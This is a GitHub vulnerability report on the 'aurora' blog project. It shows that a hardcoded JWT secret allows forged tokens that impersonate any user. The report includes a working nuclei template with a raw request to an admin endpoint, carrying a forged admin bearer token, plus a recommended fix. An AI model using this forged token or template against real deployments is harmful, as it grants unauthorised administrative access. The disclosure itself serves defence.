aurora icon indicating copy to clipboard operation
aurora copied to clipboard

[vulnerability] Unauthorised Access Vulnerability

Open c41ico opened this issue 1 year ago • 1 comments

1. Steps to reproduce

Modify the sub field in jwt to be the id of another user to fake his/her identity.

image-20240218171327317

The nuclei template is as follows

id: aurora-jwt-hardencoding

info:
  name: Aurora blog jwt secret key hardencoding
  author: calico
  severity: high
  description: jwt secret key hardcoding leads to unauthorised access
  reference:
    - https://github.com/linhaojun857/aurora/
  tags: unauth

requests:
  - raw:
      - |+
        GET /api/admin/users/role HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
        Accept: application/json, text/plain, */*
        Accept-Language: en-US,en;q=0.5
        Accept-Encoding: gzip, deflate
        Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJqdGkiOiJjMThlZTQxYWRmZDk0ZDYyOWQ2ZjExNTAxM2NkMjVmNiIsInN1YiI6IjEiLCJpc3MiOiJodWF3ZWltaWFuIn0.JoipYRzDC3jKAqNhV_0skiq4XikhNCmj2shMl5F1euA
        Connection: close


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"code":20000'
      - type: status
        status:
          - 200

image-20240218172407307

2. Expected behavior

The JwtAuthenticationTokenFilter gets the jwt from the request via the tokenService#getUserDetailDTO method.

image-20240218170357360

image-20240218170417008

Call the parseToken method to verify that the jwt is valid.

3. Actual behavior

In the parseToken method, get the signing key for jwt via the generalKey method

image-20240218170159108

Since SECRET is hardcoded in the code, the same key is returned in the generalKey method, resulting in a forged jwt

image-20240218170211967

4. Affected Version

latest

5. Fixes Recommendations

Randomly generate the key for jwt when the program is run

c41ico avatar Feb 18 '24 14:02 c41ico